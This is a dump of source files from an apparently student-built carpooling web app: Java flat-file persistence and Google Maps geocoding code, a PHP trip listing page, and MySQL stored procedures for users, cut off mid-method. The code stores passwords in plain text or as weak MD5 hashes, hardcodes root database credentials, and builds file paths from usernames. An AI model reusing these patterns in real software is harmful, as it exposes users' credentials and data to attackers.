//if a matching username is found, returns the admin object
if (adminList[i].getUsername().equalsIgnoreCase(username)){
return adminList[i];
}
}
return null; //if a matching username is not found, returns null
}
/**
* Searches for and retrieves a customer object by username
* @param username (String) the username of the customer
* @return customerList[i] (Customer) the customer that matches the username search
*/
public static Customer findCustomer (String username) throws Exception{
//creating an array to hold the customer database
Customer[] customerList=readCustomer();
//cycles through every element in the database
for (int i=0; i<customerList.length;i++){
//if a matching username is found, returns the customer object
if (customerList[i].getUsername().equalsIgnoreCase(username)){
return customerList[i];
}
}
return null;//if a matching username is not found, returns null
}
/**
* Finds and returns a product object based on product id
* @param productID (String) the id of the product
* @return productList[i] (Product[]) the product object
*/
public static Product findProduct(String productID) throws Exception{
Product[] productList=readProduct();
//if a parsing exception occurs, returns null
try{
int ID=Integer.parseInt(productID); //parsing id to an integer
//cycling through every product element
for (int i=0; i<productList.length;i++){
//checking to see whether a match for product ID is found
if (productList[i].getProductID()==ID){
return productList[i];//returns the product if theres a match
}
}
}catch (Exception e){
return null; //returns null if exception due to parsing product ID occurs
}
return null; //returns null if product doesnt exist in the database
}
/**
* Performs a fuzzy search and returns an array of products that match the criteria
* @param searchQuery (String) the criteria to search for
* return productSearchList (Product[]) an array of products that meet the criteria
*/
public static Product[] productSearch(String searchQuery) throws Exception{
//splits the query into individual words
String[] searchWords=searchQuery.split(" ");
//creating an array of products from the flat file
Product[] productBase=Helper.readProduct();
//creates an array list made up of product objects that fulfill the search criteria
ArrayList <Product> productSearchList = new ArrayList<Product>();
//goes through every product in the database
for (int i=0;i<productBase.length;i++){
//goes thorugh every word entered by the user in the search field
for (int j=0;j<searchWords.length;j++){
//if the name of the product contains a word entered in the search field, adds it to the array list
if((productBase[i].getName().toLowerCase()).contains(searchWords[j].toLowerCase())){
productSearchList.add(productBase[i]);
continue;
}
}
}
//converting the array list into a product array
Product[] searchResult=new Product[productSearchList.size()];
searchResult=productSearchList.toArray(searchResult);
return searchResult;//returns the new searchResults with product objects that match the search
}
/**
* Rates a product in the database based on ID and rating
* @param rating (double) a customer rating
* @param productID (int) the id of the product to rate
*/
public static void rateProduct(double rating, int productID) throws Exception{
//creating counter to keep track of the index number of the product in the product array
int indexOfProduct=0;
//retrieving the product array from the product flat file
Product[] productList=Helper.readProduct();
//cycles through every element in the product array
for (indexOfProduct=0;indexOfProduct<productList.length;indexOfProduct++){
//breaks out and saves the index number of the product with the proper prodcutID
if ((productList[indexOfProduct].getProductID())==productID){
break;
}
}
productList[indexOfProduct].calculateRating(rating);
writeProduct(productList); //rewrites the flat file with the new rating
}
/**
* Read the admin flat file and returns the array of administrator objects from it
* @return adminList (Administrator []) the array of administrators
*/
public static Administrator[] readAdmin() throws Exception{
//creating the first Buffered reader object to read from the flat file
BufferedReader in = new BufferedReader (new FileReader ("/apache-tomcat-8.0.8/webapps/ROOT/data/admin_flat.txt"));
//creating string object to hold a line from the flat file
String line;
//FIGURING OUT HOW MANY LINES THE FLAT FILE HAS
//creating counter to count the number of lines
int numberOfLines=0;
//counting all the lines and storing it in the counter
while((line=in.readLine())!=null){
numberOfLines++;
}
//creates administrator array based on number of lines in the flat file
Administrator[] adminList=new Administrator[numberOfLines];
//creating another(2nd) buffered reader object to read from the flat file again
BufferedReader in2 = new BufferedReader (new FileReader ("/apache-tomcat-8.0.8/webapps/ROOT/data/admin_flat.txt"));
//setting a counter to keep track of the current line number
int currentLineNumber=0;
//cycles through every line in the file separately
while((line=in2.readLine())!=null){
//each line is split up into its components and stored into a temporary array
String delimiter=",";
//temporary array to hold every component of the current line
String[] temporaryArray=line.split(delimiter);
//creates the administrator object with the proper parameters
adminList[currentLineNumber]=new Administrator(temporaryArray[0], temporaryArray[1],temporaryArray[2], temporaryArray[3],temporaryArray[4]);
currentLineNumber++;//adds to the counter so as to move to the next line
}
return adminList; //returns the final array of administrators
}
/**
* Reads the customer flat file and returns an array of customers from it
* @return customerList (Customer[]) the array of customers
*/
public static Customer[] readCustomer() throws Exception{
//creating the first Buffered reader object to read from the flat file
BufferedReader in = new BufferedReader (new FileReader ("/apache-tomcat-8.0.8/webapps/ROOT/data/customer_flat.txt"));
//creating string object to hold a line from the flat file
String line;
//FIGURING OUT HOW MANY LINES THE FLAT FILE HAS
//creating counter to count the number of lines
int numberOfLines=0;
//counting all the lines and storing it in the counter
while((line=in.readLine())!=null){
numberOfLines++;
}
//creates customer array based on number of lines in the flat file
Customer[] customerList=new Customer[numberOfLines];
//creating another(2nd) buffered reader object to read from the flat file again
BufferedReader in2 = new BufferedReader (new FileReader ("/apache-tomcat-8.0.8/webapps/ROOT/data/customer_flat.txt"));
//setting a counter to keep track of the current line number
int currentLineNumber=0;
//cycles through every line in the file separately
while((line=in2.readLine())!=null){
//each line is split up into its components and stored into a temporary array
String delimiter=",";
//storing all components of line in a temporary array
String[] temporaryArray=line.split(delimiter);
//creates the customer object with the proper parameters
customerList[currentLineNumber]=new Customer(temporaryArray[0], temporaryArray[1],temporaryArray[2], temporaryArray[3], (Double.parseDouble(temporaryArray[4])),temporaryArray[5],temporaryArray[6], temporaryArray[7]);
currentLineNumber++;//adds to the counter so as to move to the next line
}
return customerList;//returns the final customer array
}
/**
* Reads the products flat file and returns an array of products from it
* @return productList (Product[]) the array of products
*/
public static Product[] readProduct() throws Exception{
//creating the first Buffered reader object to read from the flat file
BufferedReader in = new BufferedReader (new FileReader ("/apache-tomcat-8.0.8/webapps/ROOT/data/product_flat.txt"));
//creating string object to hold a line from the flat file
String line;
//FIGURING OUT HOW MANY LINES THE FLAT FILE HAS
//creating counter to count the number of lines
int numberOfLines=0;
//counting all the lines and storing it in the counter
while((line=in.readLine())!=null){
numberOfLines++;
}
//creates customer array based on number of lines in the flat file
Product[] productList=new Product[numberOfLines];
//creating another(2nd) buffered reader object to read from the flat file again
BufferedReader in2 = new BufferedReader (new FileReader ("/apache-tomcat-8.0.8/webapps/ROOT/data/product_flat.txt"));
//setting a counter to keep track of the current line number
int currentLineNumber=0;
//cycles through every line in the file separately
while((line=in2.readLine())!=null){
//each line is split up into its components and stored into a temporary array
String delimiter=",";
//storing all components of line in a temporary array
String[] temporaryArray=line.split(delimiter);
//creates the product object with the proper parameters
productList[currentLineNumber]=new Product(Integer.parseInt(temporaryArray[0]), temporaryArray[1],temporaryArray[2],
temporaryArray[3], (Integer.parseInt(temporaryArray[4])),(Double.parseDouble(temporaryArray[5])),
temporaryArray[6],temporaryArray[7],(Integer.parseInt(temporaryArray[8])),(Double.parseDouble(temporaryArray[9])));
currentLineNumber++;//adds to the counter so as to move to the next line
}
return productList;//returns the final product array
}
/**
* Reads the productsHistories flat file for a particular customer and returns an array of products from it
* @return productList (Product[]) the array of products
*/
public static Product[] readPurchaseHistory(String customerUsername) throws Exception{
try{
//creating the first Buffered reader object to read from the flat file
BufferedReader in = new BufferedReader (new FileReader ("/apache-tomcat-8.0.8/webapps/ROOT/data/purchases/"+customerUsername+"_purchaseHistory_flat.txt"));
//creating string object to hold a line from the flat file
String line;
//FIGURING OUT HOW MANY LINES THE FLAT FILE HAS
//creating counter to count the number of lines
int numberOfLines=0;
//counting all the lines and storing it in the counter
while((line=in.readLine())!=null){
numberOfLines++;
}
//creates customer array based on number of lines in the flat file
Product[] productList=new Product[numberOfLines];
//creating another(2nd) buffered reader object to read from the flat file again
BufferedReader in2 = new BufferedReader (new FileReader ("/apache-tomcat-8.0.8/webapps/ROOT/data/purchases/"+customerUsername+"_purchaseHistory_flat.txt"));
//setting a counter to keep track of the current line number
int currentLineNumber=0;
//cycles through every line in the file separately
while((line=in2.readLine())!=null){
//each line is split up into its components and stored into a temporary array
String delimiter=",";
//storing all components of line in a temporary array
String[] temporaryArray=line.split(delimiter);
//creates the product object with the proper parameters
productList[currentLineNumber]=new Product(Integer.parseInt(temporaryArray[0]), temporaryArray[1],temporaryArray[2],
temporaryArray[3], (Integer.parseInt(temporaryArray[4])),(Double.parseDouble(temporaryArray[5])),
temporaryArray[6],temporaryArray[7],(Integer.parseInt(temporaryArray[8])),(Double.parseDouble(temporaryArray[9])));
currentLineNumber++;//adds to the counter so as to move to the next line
}
return productList;//returns the final product array
}catch (Exception e){
return null; //if an exception occurs due to the absense of the flat file, returns null
}
}
/**
* Writes to the admin flat file
* @param adminList (Administrator[]) the array of admin objects to write onto the flat file
*/
public static void writeAdmin(Administrator[] adminList) throws FileNotFoundException{
//creating new writer object to write onto the flat file
PrintWriter writer=new PrintWriter("/apache-tomcat-8.0.8/webapps/ROOT/data/admin_flat.txt");
//cycles through all the admin objects and writes each in a seperate line
for(int i=0;i<adminList.length;i++){
writer.println(adminList[i].getUsername()+","+adminList[i].getName()
+","+adminList[i].getEmail()+","+adminList[i].getPassword()
+","+adminList[i].getProfileURL());
}
//closing the writer object
writer.close();
}
/**
* Writes to the customer flat file
* @param customersList (Customer[]) the array of customer objects to write onto the flat file
*/
public static void writeCustomer(Customer[] customersList) throws FileNotFoundException{
//creating new writer object to write onto the flat file
PrintWriter writer=new PrintWriter("/apache-tomcat-8.0.8/webapps/ROOT/data/customer_flat.txt");
//cycles through all the customer objects and writes each in a seperate line
for(int i=0;i<customersList.length;i++){
writer.println(customersList[i].getUsername()+","+customersList[i].getName()
+","+customersList[i].getEmail()+","+customersList[i].getPassword()
+","+customersList[i].getBalance()+","+customersList[i].getAddress()
+","+customersList[i].getPostalCode()+","+customersList[i].getProfileURL());
}
//closing the writer object
writer.close();
}
/**
* Writes to the product flat file
* @param productList (Product[]) the array of product objects to write onto the flat file
*/
public static void writeProduct(Product[] productList) throws FileNotFoundException{
//creating new writer object to write onto the flat file
PrintWriter writer=new PrintWriter("/apache-tomcat-8.0.8/webapps/ROOT/data/product_flat.txt");
//cycles through all the admin objects and writes each in a seperate line
for(int i=0;i<productList.length;i++){
writer.println(productList[i].getProductID()+","+productList[i].getName()
+","+productList[i].getBrand()+","+productList[i].getCategory()
+","+productList[i].getQuantity()+","+productList[i].getPrice()+","+productList[i].getDescription()+","+productList[i].getPictureURL()
+","+productList[i].getNumberOfRatings()+","+productList[i].getAverageRating());
}
//closing the writer object
writer.close();
}
/**
* Creates and writes the purchase history flat file for a particular customer
* @param productList (Product[]) the product array to write to the flat file
* @param customerUsername (String) the username of the customer for which to write the flat file for
*/
public static void writePurchaseHistory(Product[] productList, String customerUsername) throws FileNotFoundException{
//creating new writer object to write onto the flat file
PrintWriter writer=new PrintWriter("/apache-tomcat-8.0.8/webapps/ROOT/data/purchases/"+customerUsername+"_purchaseHistory_flat.txt");
//cycles through all the admin objects and writes each in a seperate line
for(int i=0;i<productList.length;i++){
writer.println(productList[i].getProductID()+","+productList[i].getName()
+","+productList[i].getBrand()+","+productList[i].getCategory()
+","+productList[i].getQuantity()+","+productList[i].getPrice()+","+productList[i].getDescription()+","+productList[i].getPictureURL()
+","+productList[i].getNumberOfRatings()+","+productList[i].getAverageRating());
}
//closing the writer object
writer.close();
}
}//end of class
| dd0343aa01c2b613dd65c6f52b3f65acf411ac20 | [
"Java"
] | 4 | Java | Guardians-of-the-Galaxy/Planet-Terra | 215b87b429800616746ca162f0a26d043e254082 | e11ec67a01779c8958f15ed9f96496f8c5acf299 |
refs/heads/master | <repo_name>cherihan/ot-sims-2011<file_sep>/src_php/sprint 1/list.php
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>Co-voiturage</title>
</head>
<body>
<header>
<h1>Liste des trajets</h1>
</header>
<section>
<table>
<tr>
<th>#ID</th>
<th>Lieu de départ</th>
<th>Lieu d'arrivée</th>
<th>Date de départ</th>
</tr>
<?php
$con = mysql_connect('localhost','root','root');
if (!$con)
die('Could not connect: '.mysql_error());
mysql_select_db('ot', $con);
$result = mysql_query('SELECT * FROM trajets');
while($row = mysql_fetch_array($result)){
echo "<tr>\n<td>".$row['id']."</td>\n<td>".$row['lieu_depart']."</td>\n<td>".$row['lieu_arrivee']."</td>\n<td>".$row['date_depart']."</td>\n</tr>";
}
mysql_close($con);
?>
</table>
</section>
<br/>
<hr/>
<br/>
<nav>
<a href="index.php">Retour à l'accueil</a>
</nav>
</body>
</html><file_sep>/Base de donnees/v2/procedures/sims.v2.procedure.user.sql
-- sims SQL V2, Sprint 2
-- Procedures stokes
-- From <NAME>
DELIMITER //
-- Return user_id of associated user or null if not
DROP PROCEDURE IF EXISTS user_get_user_by_email //
CREATE PROCEDURE user_get_user_by_email (
IN _usr_email VARCHAR(100)
)
BEGIN
SELECT * FROM user_usr WHERE usr_email=_usr_email;
END //
-- Check if the tuple user - password is valid
-- Return the user if valid or NULL if not
DROP PROCEDURE IF EXISTS user_check_authentification //
CREATE PROCEDURE user_check_authentification (
IN _usr_email VARCHAR(100),
IN _usr_password_not_encrypted VARCHAR(100)
)
BEGIN
UPDATE user_usr SET usr_lastlogindate=UNIX_TIMESTAMP() WHERE usr_email=_usr_email AND usr_password = MD5(CONCAT(usr_id,_usr_password_not_encrypted));
SELECT * FROM user_usr WHERE usr_email=_usr_email AND usr_password = MD5(CONCAT(usr_id,_usr_password_not_encrypted));
END //
DROP PROCEDURE IF EXISTS user_create //
CREATE PROCEDURE user_create (
IN _usr_email VARCHAR(100),
IN _usr_password_not_encrypted VARCHAR(100),
IN _usr_firstname VARCHAR(100),
IN _usr_lastname VARCHAR(100),
IN _usr_genre ENUM('male','female')
)
BEGIN
DECLARE __usr_id INT(11);
call _user_create(_usr_email, _usr_password_not_encrypted, _usr_firstname, _usr_lastname, _usr_genre, '', __usr_id);
SELECT * FROM user_usr WHERE usr_id=__usr_id;
END //
DROP PROCEDURE IF EXISTS user_create_short //
CREATE PROCEDURE user_create_short (
IN _usr_email VARCHAR(100),
IN _usr_password_not_encrypted VARCHAR(100),
IN _usr_firstname VARCHAR(100),
IN _usr_lastname VARCHAR(100),
IN _usr_mobilphone VARCHAR(100)
)
BEGIN
DECLARE __usr_id INT(11);
call _user_create( _usr_email,
_usr_password_not_encrypted,
_usr_firstname, -- _usr_firstname,
_usr_lastname, -- _usr_lastname,
'male', -- _usr_genre,
_usr_mobilphone,
__usr_id
);
-- UPDATE user_usr SET usr_mobilphone = _usr_mobilphone WHERE usr_id = __usr_id;
SELECT * FROM user_usr WHERE usr_id=__usr_id;
END //
DROP PROCEDURE IF EXISTS _user_create //
CREATE PROCEDURE _user_create (
IN _usr_email VARCHAR(100),
IN _usr_password_not_encrypted VARCHAR(100),
IN _usr_firstname VARCHAR(100),
IN _usr_lastname VARCHAR(100),
IN _usr_genre ENUM('male','female'),
IN _usr_mobilphone VARCHAR(100),
OUT _usr_id INT(11)
)
BEGIN
INSERT INTO user_usr (usr_email, usr_password, usr_firstname, usr_lastname, usr_genre, usr_registrationdate, usr_lastlogindate , usr_description , usr_mobilphone) VALUES
(_usr_email, '', _usr_firstname, _usr_lastname, _usr_genre, UNIX_TIMESTAMP(), UNIX_TIMESTAMP() , '' , _usr_mobilphone);
SELECT LAST_INSERT_ID() INTO _usr_id;
call _user_update_password(_usr_id, _usr_password_not_encrypted);
END //
DROP PROCEDURE IF EXISTS user_update_password //
CREATE PROCEDURE user_update_password (
IN _usr_id INT(11),
IN _usr_password_not_encrypted VARCHAR(100)
)
BEGIN
UPDATE user_usr SET usr_password = MD5(CONCAT(_usr_id,_usr_password_not_encrypted)) WHERE usr_id = _usr_id;
SELECT * FROM user_usr WHERE usr_id=_usr_id;
END //
DROP PROCEDURE IF EXISTS _user_update_password //
CREATE PROCEDURE _user_update_password (
IN _usr_id INT(11),
IN _usr_password_not_encrypted VARCHAR(100)
)
BEGIN
UPDATE user_usr SET usr_password = MD5(CONCAT(_usr_id,_usr_password_not_encrypted)) WHERE usr_id = _usr_id;
END //
DROP PROCEDURE IF EXISTS user_update //
CREATE PROCEDURE user_update (
IN _usr_id INT(11),
IN _usr_email VARCHAR(100),
IN _usr_password_not_encrypted VARCHAR(100),
IN _usr_firstname VARCHAR(100),
IN _usr_lastname VARCHAR(100),
IN _usr_genre ENUM('male','female'),
IN _usr_birthdate BIGINT(20),
IN _usr_description TEXT,
IN _usr_mobilphone VARCHAR(100)
)
BEGIN
UPDATE user_usr SET
usr_email= _usr_email,
usr_firstname = _usr_firstname,
usr_lastname = _usr_lastname,
usr_genre = _usr_genre,
usr_birthdate = _usr_birthdate,
usr_description = _usr_description,
usr_mobilphone = _usr_mobilphone
WHERE usr_id = _usr_id;
SELECT * FROM user_usr WHERE usr_id=_usr_id;
END //
DROP PROCEDURE IF EXISTS user_update_current_position //
CREATE PROCEDURE user_update_current_position (
IN _usr_id INT(11),
IN _pos_id INT(11)
)
BEGIN
UPDATE user_usr SET
usr_current_position=_pos_id
WHERE usr_id = _usr_id;
END //
-- Insert or update name of a user favorite place
DROP PROCEDURE IF EXISTS user_add_pos_fav //
CREATE PROCEDURE user_add_pos_fav (
IN _usr_id INT(11),
IN _pos_id INT(11),
IN _label VARCHAR(100)
)
BEGIN
INSERT INTO user_fav_pos_ufp (ufp_id, ufp_user, ufp_position, ufp_label ) VALUES
(
NULL,
_usr_id,
_pos_id,
_label
) ON DUPLICATE KEY UPDATE ufp_label=_label;
SELECT * FROM user_fav_pos_ufp WHERE ufp_user = _usr_id AND ufp_position = _pos_id;
END //
-- Insert or update name of a user favorite place
DROP PROCEDURE IF EXISTS user_add_or_edit_by_label_pos_fav //
CREATE PROCEDURE user_add_or_edit_by_label_pos_fav (
IN _usr_id INT(11),
IN _pos_id INT(11),
IN _label VARCHAR(100)
)
BEGIN
DECLARE __ufp_id INT(11);
SELECT ufp_id INTO __ufp_id FROM user_fav_pos_ufp WHERE ufp_label = _label AND ufp_user = _usr_id;
IF __ufp_id IS NULL THEN
INSERT INTO user_fav_pos_ufp (ufp_id, ufp_user, ufp_position, ufp_label ) VALUES
(
NULL,
_usr_id,
_pos_id,
_label
) ON DUPLICATE KEY UPDATE ufp_label=_label;
ELSE
UPDATE user_fav_pos_ufp SET ufp_position= _pos_id WHERE ufp_id = __ufp_id;
END IF;
SELECT * FROM user_fav_pos_ufp WHERE ufp_user = _usr_id AND ufp_position = _pos_id;
END //
-- Delete a user favorite place
DROP PROCEDURE IF EXISTS user_fav_pos_delete //
CREATE PROCEDURE user_fav_pos_delete (
IN _ufp_id INT(11)
)
BEGIN
DELETE FROM user_fav_pos_ufp WHERE ufp_id = _ufp_id;
END //
-- Insert or update name of a user favorite place
DROP PROCEDURE IF EXISTS user_get_pos_fav //
CREATE PROCEDURE user_get_pos_fav (
IN _usr_id INT(11)
)
BEGIN
SELECT *
FROM user_fav_pos_ufp ufp
INNER JOIN position_pos pos ON pos.pos_id = ufp.ufp_position
WHERE ufp_user = _usr_id;
END //
DELIMITER ;
<file_sep>/Covoiturage/src/google_api/GoogleGeoApi.java
package google_api;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLEncoder;
import java.util.ArrayList;
import java.util.Enumeration;
import java.util.Hashtable;
import org.json.JSONArray;
import org.json.JSONObject;
import utilities.Constantes;
public class GoogleGeoApi {
/**
* @param int Définit la distance minimale entre 2 points de la polyline
* décrivant le parcours. AInsi, si dans une curbe, les points sont trop rapprochés, ils seront supprimés pur qu'ils soient au plus prooche, distant de X metres
*/
private static final int POLYLINE_INTERVAL_SIZE_MIN = 6000;
/**
* @param int Définit la distance maximale entre 2 points de la polyline
* décrivant le parcours
*/
private static final int POLYLINE_INTERVAL_SIZE_MAX = 8000;
public static final double LATITUDE_CONVERS = 0.000009;
public static final double LONGITUDE_CONVERS = 0.000014;
public static String api_key = "<KEY>";
public static Hashtable<String, Double> getCoordOfAddress(String address) {
try {
String uri = new String(
"http://maps.googleapis.com/maps/api/geocode/json?sensor=false");
uri = uri.concat("&address=").concat(
URLEncoder.encode(address, "UTF-8"));
uri = uri.concat("&language=fr®ion=fr");
String responseText = GoogleGeoApi.execHttpRequest(uri);
JSONObject responseJson = new JSONObject(responseText);
if (!responseJson.getString("status").equals("OK")) {
throw new Exception();
}
double latitude;
double longitude;
JSONArray results = responseJson.getJSONArray("results");
if (results.length() == 0) {
throw new Exception();
}
JSONObject location = ((JSONObject) results.get(0)).getJSONObject(
"geometry").getJSONObject("location");
latitude = location.getDouble("lat");
longitude = location.getDouble("lng");
Hashtable<String, Double> result;
result = new Hashtable<String, Double>();
result.put("longitude", longitude);
result.put("latitude", latitude);
return result;
} catch (Exception e) {
// TODO Auto-generated catch block
// e.printStackTrace();
}
return null;
}
public static String getNearAddressFromCoord(
Hashtable<String, Double> coords) {
return GoogleGeoApi.getNearAddressFromCoord(coords, "");
}
public static String getNearAddressFromCoord(
Hashtable<String, Double> coords, String prefix) {
try {
String uri = new String(
"http://maps.googleapis.com/maps/api/geocode/json?sensor=false");
uri = uri.concat("&latlng=").concat(
URLEncoder.encode(coords.get(prefix + "latitude")
.toString(), "UTF-8"));
uri = uri.concat(",").concat(
URLEncoder.encode(coords.get(prefix + "longitude")
.toString(), "UTF-8"));
uri = uri.concat("&language=fr®ion=fr");
String responseText = GoogleGeoApi.execHttpRequest(uri);
JSONObject responseJson = new JSONObject(responseText);
if (!responseJson.getString("status").equals("OK")) {
throw new Exception();
}
String addressText;
JSONArray results = responseJson.getJSONArray("results");
if (results.length() == 0) {
throw new Exception();
}
JSONObject addressJson = ((JSONObject) results.get(0));
addressText = addressJson.getString("formatted_address");
return addressText;
} catch (Exception e) {
// TODO Auto-generated catch block
// e.printStackTrace();
}
return null;
}
public static ArrayList<Hashtable<String, Object>> getDirection(
Hashtable<String, Double> origin,
Hashtable<String, Double> destination, String mode,
Hashtable<Integer, Hashtable<Integer, Double>> waypoints) {
ArrayList<Hashtable<String, Object>> result = new ArrayList<Hashtable<String, Object>>();
int resultCounter = 0;
if ((mode == null || (!(mode.equals("driving")
|| mode.equals("walking") || mode.equals("bicycling"))))) {
mode = "driving";
}
if (waypoints == null) {
waypoints = new Hashtable<Integer, Hashtable<Integer, Double>>();
}
try {
String uri = new String(
"http://maps.googleapis.com/maps/api/directions/json?sensor=false");
uri = uri.concat("&origin=").concat(
URLEncoder.encode(origin.get("latitude").toString(),
"UTF-8"));
uri = uri.concat(",").concat(
URLEncoder.encode(origin.get("longitude").toString(),
"UTF-8"));
uri = uri.concat("&destination=").concat(
URLEncoder.encode(destination.get("latitude").toString(),
"UTF-8"));
uri = uri.concat(",").concat(
URLEncoder.encode(destination.get("longitude").toString(),
"UTF-8"));
uri = uri.concat("&mode=").concat(mode);
uri = uri.concat("&units=metric").concat(mode);
uri = uri.concat("&language=fr®ion=fr");
if (waypoints.size() >= 1) {
Boolean isFirst = true;
uri = uri.concat("&waypoints=");
Enumeration<Hashtable<Integer, Double>> en = waypoints
.elements();
while (en.hasMoreElements()) {
Hashtable<Integer, Double> pos = en.nextElement();
if (!isFirst) {
uri = uri.concat("|");
} else {
isFirst = false;
}
uri = uri.concat(pos.get("latitude").toString())
.concat(",")
.concat(pos.get("longitude").toString());
}
}
String responseText = GoogleGeoApi.execHttpRequest(uri);
JSONObject responseJson = new JSONObject(responseText);
if (!responseJson.getString("status").equals("OK")) {
throw new Exception(Constantes.INVALID_ROUTE_WAYPOINTS);
}
JSONArray results = responseJson.getJSONArray("routes");
if (results.length() == 0) {
throw new Exception(Constantes.INVALID_ROUTE_WAYPOINTS);
}
JSONObject route = (JSONObject) results.get(0);
JSONArray legs = route.getJSONArray("legs");
int size_leg = legs.length();
for (int i = 0; i < size_leg; i++) {
JSONObject jobj = (JSONObject) legs.get(i);
JSONArray steps = jobj.getJSONArray("steps");
int size_step = steps.length();
for (int i2 = 0; i2 < size_step; i2++) {
JSONObject step = steps.getJSONObject(i2);
JSONObject start = step.getJSONObject("start_location");
JSONObject end = step.getJSONObject("end_location");
Integer duration = step.getJSONObject("duration").getInt(
"value");
Hashtable<String, Double> step_start = new Hashtable<String, Double>();
step_start.put("latitude", start.getDouble("lat"));
step_start.put("longitude", start.getDouble("lng"));
Hashtable<String, Double> step_end = new Hashtable<String, Double>();
step_end.put("latitude", end.getDouble("lat"));
step_end.put("longitude", end.getDouble("lng"));
String polyString = step.getJSONObject("polyline")
.getString("points");
ArrayList<Hashtable<String, Double>> polyHash = GoogleGeoApi
.decodePoly(polyString);
ArrayList<Hashtable<String, Double>> polyHashNonPrecis = new ArrayList<Hashtable<String, Double>>();
polyHashNonPrecis = GoogleGeoApi.polylineDelSubpoints(
polyHash, GoogleGeoApi.POLYLINE_INTERVAL_SIZE_MIN);
ArrayList<Hashtable<String, Double>> polyHashPrecis = new ArrayList<Hashtable<String, Double>>();
polyHashPrecis = GoogleGeoApi.polylineAddSubpoints(
polyHashNonPrecis, GoogleGeoApi.POLYLINE_INTERVAL_SIZE_MAX);
ArrayList<Hashtable<String, Object>> segments = new ArrayList<Hashtable<String, Object>>();
segments = GoogleGeoApi.constructSegments(polyHashPrecis, duration);
Hashtable<String, Object> stepRes = new Hashtable<String, Object>();
stepRes.put("begin", step_start);
stepRes.put("end", step_end);
stepRes.put("duration", Double.valueOf(duration));
/*
stepRes.put("points", polyHash);
stepRes.put("pointsPrecision", polyHashPrecis);
*/
stepRes.put("segments", segments);
result.add(stepRes);
resultCounter++;
}
}
return result;
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return null;
}
protected static String execHttpRequest(String url) throws Exception {
URL yahoo = new URL(url);
BufferedReader in = new BufferedReader(new InputStreamReader(
yahoo.openStream()));
String inputLine;
String output = new String();
while ((inputLine = in.readLine()) != null) {
output = output.concat(inputLine);
}
in.close();
return output;
}
protected static ArrayList<Hashtable<String, Double>> decodePoly(
String encoded) {
ArrayList<Hashtable<String, Double>> poly = new ArrayList<Hashtable<String, Double>>();
int index = 0, len = encoded.length();
int lat = 0, lng = 0;
while (index < len) {
int b, shift = 0, result = 0;
do {
b = encoded.charAt(index++) - 63;
result |= (b & 0x1f) << shift;
shift += 5;
} while (b >= 0x20);
int dlat = ((result & 1) != 0 ? ~(result >> 1) : (result >> 1));
lat += dlat;
shift = 0;
result = 0;
do {
b = encoded.charAt(index++) - 63;
result |= (b & 0x1f) << shift;
shift += 5;
} while (b >= 0x20);
int dlng = ((result & 1) != 0 ? ~(result >> 1) : (result >> 1));
lng += dlng;
Hashtable<String, Double> p = new Hashtable<String, Double>();
p.put("latitude", (Double) (((double) lat / 1E5)));
p.put("longitude", (Double) (((double) lng / 1E5)));
poly.add(p);
}
return poly;
}
private static ArrayList<Hashtable<String, Double>> polylineAddSubpoints(
ArrayList<Hashtable<String, Double>> polyHash,
int polylineIntervalSize) {
ArrayList<Hashtable<String, Double>> retour = new ArrayList<Hashtable<String, Double>>();
int polyHashSize = polyHash.size();
int polyHashI = 0;
if (polyHashSize >= 1) {
retour.add(polyHash.get(0));
do {
Double ptStartLat = polyHash.get(polyHashI).get("latitude");
Double ptStartLng = polyHash.get(polyHashI).get("longitude");
Double ptEndLat = polyHash.get(polyHashI + 1).get("latitude");
Double ptEndLng = polyHash.get(polyHashI + 1).get("longitude");
Double x = ((ptEndLat - ptStartLat) / GoogleGeoApi.LATITUDE_CONVERS);
Double y = ((ptEndLng - ptStartLng) / GoogleGeoApi.LONGITUDE_CONVERS);
Double distance = Math.sqrt(Math.pow(x, 2) + Math.pow(y, 2));
if (distance > polylineIntervalSize) {
Double deltaLat = ptEndLat - ptStartLat;
Double deltaLng = ptEndLng - ptStartLng;
int nbAdditionalPoints = (int) (Math.floor(distance
/ polylineIntervalSize) - 1);
for (int addI = 1; addI <= nbAdditionalPoints; addI++) {
Double ptLat = ptStartLat
+ ((deltaLat / (nbAdditionalPoints + 1)) * addI);
Double ptLng = ptStartLng
+ ((deltaLng / (nbAdditionalPoints + 1)) * addI);
Hashtable<String, Double> newPoint = new Hashtable<String, Double>();
newPoint.put("latitude", ptLat);
newPoint.put("longitude", ptLng);
retour.add(newPoint);
}
}
retour.add(polyHash.get(polyHashI + 1));
polyHashI++;
} while (polyHashI < polyHashSize - 1);
}
return retour;
}
private static ArrayList<Hashtable<String, Double>> polylineDelSubpoints(
ArrayList<Hashtable<String, Double>> polyHash,
int polylineIntervalSizeMin) {
//return polyHash;
Boolean updated = false;
ArrayList<Hashtable<String, Double>> retour = new ArrayList<Hashtable<String, Double>>();
int polyHashSize = polyHash.size();
int polyHashI = 0;
if(polyHashSize >= 1) {
//on ajoute le premier point dans tous les cas
retour.add(polyHash.get(0));
}
if (polyHashSize >= 3) {
do {
Double ptStartLat = polyHash.get(polyHashI).get("latitude");
Double ptStartLng = polyHash.get(polyHashI).get("longitude");
Double ptMiddleLat = polyHash.get(polyHashI + 1).get("latitude");
Double ptMiddleLng = polyHash.get(polyHashI + 1).get("longitude");
Double ptEndLat = polyHash.get(polyHashI + 2).get("latitude");
Double ptEndLng = polyHash.get(polyHashI + 2).get("longitude");
Double seg1X = ((ptMiddleLat - ptStartLat) / GoogleGeoApi.LATITUDE_CONVERS);
Double seg1Y = ((ptMiddleLng - ptStartLng) / GoogleGeoApi.LONGITUDE_CONVERS);
Double seg2X = ((ptEndLat - ptMiddleLat) / GoogleGeoApi.LATITUDE_CONVERS);
Double seg2Y = ((ptEndLng - ptMiddleLng) / GoogleGeoApi.LONGITUDE_CONVERS);
Double seg1Distance = Math.sqrt(Math.pow(seg1X, 2) + Math.pow(seg1Y, 2));
Double seg2Distance = Math.sqrt(Math.pow(seg2X, 2) + Math.pow(seg2Y, 2));
if ((seg1Distance+seg2Distance) < polylineIntervalSizeMin) {
retour.add(polyHash.get(polyHashI + 2));
polyHashI++;
updated=true;
}else{
retour.add(polyHash.get(polyHashI + 1));
}
polyHashI++;
} while (polyHashI < polyHashSize - 2);
}
if(polyHashSize >= 2) {
//on ajoute le dernier point dans tous les cas
retour.add(polyHash.get(polyHashSize-1));
}
if(retour.size() != polyHashSize) {
updated=true;
}else{
